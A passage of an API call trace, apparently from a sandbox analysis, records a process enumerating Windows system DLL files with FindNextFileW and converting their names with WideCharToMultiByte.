cFileName="api-ms-win-security-lsalookup-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0024.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xddc120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0024.062] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f3a7cfe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f3a7cfe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f3a6cd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-security-sddl-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0024.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xddc288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0024.062] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-service-core-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0024.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xddc120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0024.062] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-service-management-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0024.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xddc288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0024.063] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d09eb7b, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d09eb7b, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-service-management-l2-1-0.dll", cAlternateFileName="")) returned 1 [0024.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0024.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xddc120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0024.063] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-service-winsvc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0024.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0xddc288, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0024.063] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7821a163, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7821a163, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="apilogen.dll", cAlternateFileName="")) returned 1 [0024.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APILOGEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.063] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f2f92c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc1f2f92c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="apircl.dll", cAlternateFileName="")) returned 1 [0024.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0xddc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APIRCL.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.063] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de74afe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2de74afe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf261dbf0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="apisetschema.dll", cAlternateFileName="")) returned 1 [0024.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0024.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0xddc120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APISETSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 16 [0024.063] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92c3856c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92c3856c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c5e6cc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="apphelp.dll", cAlternateFileName="")) returned 1 [0024.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0xddc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.063] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4c40da, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7a4c40da, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="Apphlpdm.dll", cAlternateFileName="")) returned 1 [0024.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHLPDM.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.063] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc6b7842, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xcc6b7842, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e608600, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="appidapi.dll", cAlternateFileName="")) returned 1 [0024.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDAPI.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.064] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29cc968, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd29cc968, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e6540f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31a00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="AppIdPolicyEngineApi.dll", cAlternateFileName="")) returned 1 [0024.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0024.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0xddc120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDPOLICYENGINEAPI.DLL", lpUsedDefaultChar=0x0) returned 24 [0024.064] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98006f9, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x98006f9, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e6c6ce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="appmgmts.dll", cAlternateFileName="")) returned 1 [0024.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGMTS.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.064] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c14fdd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c14fdd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c6129e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="appmgr.dll", cAlternateFileName="")) returned 1 [0024.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0xddc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGR.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.064] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81f8794, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc81f8794, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e6eb6d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="apss.dll", cAlternateFileName="")) returned 1 [0024.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0024.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0xddc288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APSS.DLL", lpUsedDefaultChar=0x0) returned 8 [0024.064] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9efbc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x31c9efbc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf2a6d430, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="asferror.dll", cAlternateFileName="")) returned 1 [0024.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASFERROR.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.064] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57090500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="aspnet_counters.dll", cAlternateFileName="")) returned 1 [0024.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0024.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0xddc288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASPNET_COUNTERS.DLL", lpUsedDefaultChar=0x0) returned 19 [0024.064] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e661b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e661b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e661b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="asycfilt.dll", cAlternateFileName="")) returned 1 [0024.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASYCFILT.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.065] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2b74b, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x2d2b74b, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x805466c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="atl.dll", cAlternateFileName="")) returned 1 [0024.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0024.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0xddc288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL.DLL", lpUsedDefaultChar=0x0) returned 7 [0024.065] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0b4600, ftCreationTime.dwHighDateTime=0x1cc2787, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x4b0b4600, ftLastWriteTime.dwHighDateTime=0x1cc2787, nFileSizeHigh=0x0, nFileSizeLow=0x21b48, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0024.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0xddc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL100.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.065] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b8ce00, ftCreationTime.dwHighDateTime=0x1ce64f7, ftLastAccessTime.dwLowDateTime=0xef797c80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x29b8ce00, ftLastWriteTime.dwHighDateTime=0x1ce64f7, nFileSizeHigh=0x0, nFileSizeLow=0x28248, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0024.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0xddc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL110.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.065] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9363019e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9363019e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="atmfd.dll", cAlternateFileName="")) returned 1 [0024.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0024.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, 